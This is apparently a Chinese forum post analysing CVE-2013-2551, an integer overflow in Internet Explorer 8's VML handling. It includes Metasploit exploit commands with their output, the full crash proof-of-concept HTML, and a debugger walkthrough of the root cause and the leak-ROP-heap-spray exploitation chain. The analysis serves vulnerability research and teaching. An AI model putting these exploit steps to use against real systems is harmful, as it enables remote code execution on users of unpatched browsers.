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[原创]CVE-2013-2551漏洞分析（整数溢出
2020-2-19 16:05 7329

[原创]CVE-2013-2551漏洞分析（整数溢出

21Gun5 活跃值
2
2020-2-19 16:05
7329

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01-漏洞描述

  • 漏洞战争：该漏洞出现在 IE 中负责解析 VML（向量标记语言，用 XML 语言绘制向量图形）的 vgx.dll模块，由于在处理 VML 标签时对输入参数未做有效验证导致整数溢出。
  • https://cve.mitre.org：Use-after-free vulnerability in Microsoft Internet Explorer 6 through 10 allows remote attackers to execute arbitrary code via a crafted web site that triggers access to a deleted object, as demonstrated by VUPEN during a Pwn2Own competition at CanSecWest 2013, aka "Internet Explorer Use After Free Vulnerability," a different vulnerability than CVE-2013-1308 and CVE-2013-1309.

02-测试环境

  • 目标系统：Windows7 专业版 SP1（虚拟机
  • WinDbg：动态调试
  • IDA Pro：静态分析
  • IExplore 8：漏洞软件

03-漏洞验证

  1. 使用msf

     # 搜索并使用模块
 msf5 > search cve-2013-2551
 msf5 > use exploit/windows/browser/ms13_037_svg_dashstyle
 # 设置payload
 msf5 exploit(windows/browser/ms13_037_svg_dashstyle) > set payload windows/exec
 # 设置payload参数，弹出计算器（exploit模块参数保持默认即可
 msf5 exploit(windows/browser/ms13_037_svg_dashstyle) > set cmd calc.exe
 # 攻击：开启服务器，等待目标连接
 msf5 exploit(windows/browser/ms13_037_svg_dashstyle) > exploit
 [*] Exploit running as background job 0.
 [*] Exploit completed, but no session was created.
 msf5 exploit(windows/browser/ms13_037_svg_dashstyle) >
 [*] Using URL: http://0.0.0.0:8080/hvMannCwdGn0
 [*] Local IP: http://172.20.10.4:8080/hvMannCwdGn0
 [*] Server started.
 # 靶机打开恶意链接后，成功弹出计算器
 [*] 172.20.10.4      ms13_037_svg_dashstyle - Gathering target information for 172.20.10.4
 [*] 172.20.10.4      ms13_037_svg_dashstyle - Sending HTML response to 172.20.10.4
 [-] 172.20.10.4      ms13_037_svg_dashstyle - Exception handling request: undefined method `report_client' for #<Metasploit::Framework::DataService::RemoteHTTPDataService:0x00007fb1ecde4158>
 Did you mean?  report_event
                report_loot
 [*] 172.20.10.4      ms13_037_svg_dashstyle - Sending HTML to info leak...
 [*] 172.20.10.4      ms13_037_svg_dashstyle - ntdll leak: 0x76de70b0
 [*] 172.20.10.4      ms13_037_svg_dashstyle - Using ntdll ROP
 [*] 172.20.10.4      ms13_037_svg_dashstyle - Sending HTML to trigger...

  2. 使用《漏洞战争》提供的POC，GitHub地址：https://github.com/riusksk/vul_war

    IE8打开poc.html、选择“允许阻止的内容”、点击“crash”按钮，IE崩溃，poc源码如下

     <html>
 <head>
 <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
 </head>
 <title>
 POC by VUPEN
 </title>
 <!-- Include the VML behavior -->
 <style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

 <!-- Declare the VML namespace -->
 <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
 <script>
 var rect_array = new Array()
 var a          = new Array()

 function createRects(){
     for(var i=0; i<0x400; i++){
         rect_array[i]    = document.createElement("v:shape")
         rect_array[i].id = "rect" + i.toString()
         document.body.appendChild(rect_array[i])
     }
 }

 function crashme(){

     var vml1  = document.getElementById("vml1")
     var shape = document.getElementById("shape")

     for (var i=0; i<0x400; i++){                                       //set up the heap
       a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
     }

     for (var i=0; i<0x400; i++){
       a[i].rotation;                                                   //create a COARuntimeStyle
       if (i == 0x300) {                                                //allocate an ORG array of size B0h
            vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
       }
     }

     vml1.dashstyle.array.length      = 0 - 1
     shape.dashstyle.array.length     = 0 - 1

     for (var i=0; i<0x400; i++) {
        a[i].marginLeft   = "a";
        marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
        if (marginLeftAddress > 0) {
             try{
                 shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
             }
             catch(e) {continue}
        }
     }
 }
 </script>
 <body onload="createRects();">
 <v:oval>
 <v:stroke id="vml1"/>
 </v:oval>
 <v:oval>
 <v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
 </v:oval>
 <input value="crash!!!"type="button" onclick="crashme();"></input>
 </body>
 </html>

04-漏洞分析

使用《漏洞战争》提供的POC来分析漏洞成因

4.1-触发异常

  1. WinDbg附加IE8，打开poc.html重新测试，发生访问异常；

    image-20200218141741043

    发生在地址4b5f5f4b处，与poc中crashme函数中的代码相关（二者之间具体什么联系，后面探究

    image-20200219131622534

  2. 为了更好的定位漏洞代码，对IE开启页堆机制（+hpa

    image-20200219131658640

  3. 开启页堆后，重新测试，断在memcpy函数处，访问2a47d060时错误

    image-20200218150428461

    观察反汇编指令，“基址+偏移”的形式（而且还*4），断定是数组访问越界，进一步推测，memcpy中传参有误

  4. kb指令查看函数参数以及堆栈调用，可以发现2a47d060是memcpy的第二个参数即源地址，也定位到vgx的ORG::Get函数（kb显示前3个参数

    image-20200218150348789

  5. IDA反汇编VGX.dll文件，函数窗口中搜索ORG::Get函数，F5得到其伪C代码

    由步骤4知，出错的位memcpy的第二个参数即源地址，其由Get函数的参数1、3决定

    image-20200218150807470

  6. 再看栈回溯，Get中的参数1、3来自get_item的参数1、2

    image-20200218151133651

  7. 再回溯，找到OLEAUT32!DispCallFunc，已经脱离vgx.dll，故可以断定，vgx!COALineDashStyleArray::get_item只是用于触发异常，而非真正造成漏洞的罪魁祸首

  8. get_item是windows中的API，一定会对应poc.html中的js函数

    image-20200219131733787

    后面赋值的地址会引发访问错误（步骤1中），而且二者名字类似，因此可基本断定：数组越界访问的错误就是由poc中的item函数引发的//here

  9. item怎么引起越界访问？

    （1）vml1.dashstyle包含 44 个元素

    （2）item函数访问vml1.dashstyle时，指定下标0x2E+0x16=68，必然访问越界

    image-20200219131941625

  10. 访问地址2a47d060时错误，68*4=272=110h，dd指令查看内存分布（L50指定显示多少）

    前面是正常范围的元素1-44，若按照下表68访问，则越界出错

    image-20200218160341014

4.2-实质成因

  1. 由上面分析可知，item函数的调用只是触发异常，并非真正漏洞处，分析poc，在item调用前，发现有修改length的代码，如下

    image-20200219132005334

    赋值比较反常，0-1 = -1 = 0xFFFFFFFF，可断定，这就是引起整数溢出的罪魁祸首

  2. 基于类函数定位的漏洞分析方法（详情漏洞战争 4.3

    如上指令涉及“dashstyle”、”length“等关键字，在IDA中函数窗口搜索；涉及length的有两个，通过名字猜测，put的类似set，是设置xxx用的；

    因此，找到关键函数COALineDashStyleArray::put_length

    image-20200218163044556

  3. WinDbg重新附加IE，在COALineDashStyleArray::put_length下断后，重新测试，页面中点击“crash”，成功进入put_length函数（bu针对某个符号下断点

    image-20200218164050993

  4. p单步执行（步过），寻找敏感点

  5. put_lenth+0x9处，取出第一个参数（具体是啥不明确，后面再说

    image-20200218164817061

  6. +0x6b处调用CElements函数，由名字猜测其获得某元素，dd查看其参数eax，发现有002c=44即vml1.dashstyle的元素个数

    image-20200218170231823

  7. t单步步入，进入CElements内部，+0x5时取出参数1，即vml1.dashstyle数组对象（因为有元素个数信息，故这样猜测）

    image-20200218170554968

  8. 继续p单步，+0x8时，取出vml1.dashstyle数组对象的元素个数0x2c，并赋值给eax即返回值；使用movzx无符号扩展指令，表示此元素个数/数组长度为无符号整数

    image-20200218170825807

  9. 随后退出CElements函数（返回值eax=002c，此函数就是为了获取vml1.dashstyle的数组长度），+0x6e处获取put_length的第二个参数赋值给esi，FFFFFFFF = -1，即poc中设置的

    image-20200218171253277

  10. +0x71、73处，比较eax和esi，即原先的元素个数0x2c和后来设置的-1，jge是有符号跳转，必然跳（正数当然大于负数

    image-20200218171553692

  11. u指令，查看不跳转后是怎么执行的？调用new再分配内存

    image-20200218183444804

    比如，eax=2，esi=5，即原先长度为2，后设置为5，此时jge不跳；

    sub esi,eax（esi = 5-2 = 3，即新增了多少元素

    xor ecx,ecx（ecx清零

    push 4, pop edx（edx = 4，即每个元素大小为4

    mov eax,esi（eax = 3

    mul eax,edx（eax = 3*4 = 12，即新增了多少空间

    Seto cl, neg ecx（SETO-溢出置位、NEG求补，ecx=0，OD中测试后，依然为0

    or ecx, eax（eax 或操作 0，结果不变，依然12

    push ecx, call new（新申请12空间，即原先的空间不足，需要再申请

  12. 实际情况满足jge跳转，继续p，+0xcf处，有一减法操作，因为esi为负数，所以sub后eax不减反增，eax=2c - (-1) = 2c + 1 = 2d，这就是问题之所在

    image-20200218185503958

    正常情况下，如eax=5，esi=3，满足jge，则5 - 3 = 2，eax是要减小的，而poc中设置为-1，使其变大

  13. 随后调用deleteRange函数，传参-1、poc中特殊构造的差0x2d、vml1.dashstyle数组对象

    image-20200218185900346

  14. 内部调用MsoDeletePx函数

    image-20200218191348150

  15. 内部又调用 MsoFRemovePx 函数

    image-20200218191728707

  16. 继续跟进MsoFRemovePx 函数，+0xa7处

    ebx是2c - (-1) 的差值 = 2d，esi所指向数组长度=2c，二者相减，反过来又得到了-1 = FFFF，也就是poc中设置-1；

    但此时，-1已经不是负数这么简单，其在内存是FFFF，相比原长度2c，是一个很大的数

    image-20200218192328863

  17. 若按照正常的情况，比如原先长度为5，新设置为2，则5-2=3得到差值，MsoFRemovePx中sub操作，5-3=2，这个2就是新长度，此时在内存中将长度改掉没有问题；

  18. 现在将数组长度由2c改为FFFF，原则上这么设置没问题，FFFF作为长度也是合理的；但是，之前cmp 2c,-1时，满足了jge跳转，导致没有调用new新申请内存；

    也就是说，实际的内存空间没有增加，仅表面上增加了长度；所以，当通过item函数对数组进行素引取值时，就会导致数组越界访问

    image-20200219131733787

  • PS：
    • 因此可以说，长度设置为FFFF“合理但不合法”；
    • 若用无符号比较，则2c与FFFF，必然通不过jae跳转，老老实实new申请内存，也就没有后面的破事
    • 有/无符号比较：https://blog.csdn.net/u010765526/article/details/73613815

05-漏洞利用

使用msf提供的rb文件来分析漏洞是如何被利用的（利用信息泄漏实现漏洞利用

  1. 创建0x400个v:shape 元素（COARunTimeStyle对象），html_info_leak函数中，如下

    image-20200219142715842

  2. 在第 0x301个时，创建包含 44 个元素的 dashstyle 数组（ORG数组）， 总共占空间4*44=0xB0字节

    image-20200219142749801

  3. 当两个COARunTimeStyle对象相邻时，前一个对象的ORG数组就紧挨着后一个对象，通过漏洞对数组进行越界访问，就可以访问到后面对象的内存地址

    image-20200219143349230

  4. poc中a[i].marginLeft = "a";，js中对marginLeft属性进行赋值，对应COARunTimeStyle::put_marginLeft函数（上面所述的类函数定位法），用 IDA 反汇编该函数，发现其将设置的字符串保存在0x58偏移处；

    image-20200219144544318

  5. 0x2C + 8/4 + 0x58/4 = 0x2E+0x16，正好对应item对数组进行索引时的下标，通过数组越界访问，刚好访问到0x58偏移处，即字符串保存的位置

    image-20200219151725437

    image-20200219151615581（来自漏洞战争）

  6. 通过泄露地址固定偏移计算出ntdll.dll模块的版本及基址

    image-20200219152014364

  7. 进而利用ntdll的基址构造出 ROP chain，调用ZwProtectVirtualMemory函数将 Shellcode所在内存设置为可执行权限（修改内存属性：绕过 DEP数据执行保护、rop链：绕过ASLR

    image-20200219152353348

  8. rb文件load_exploit_html函数处，获取payload、进行堆喷射，从而控制程序流程，漏洞利用成功

    image-20200219152711795

（啥时候我能写出这种水平的exp，菜哭了

06-参考文献

  • 《漏洞战争》
  • https://blog.csdn.net/qq_38924942/article/details/88652564

（在家憋死了，我想出去玩，赶紧好起来吧


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最后于 2020-2-19 16:13 被21Gun5编辑 ，原因：
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mb_xghoecki 2020-2-23 13:24
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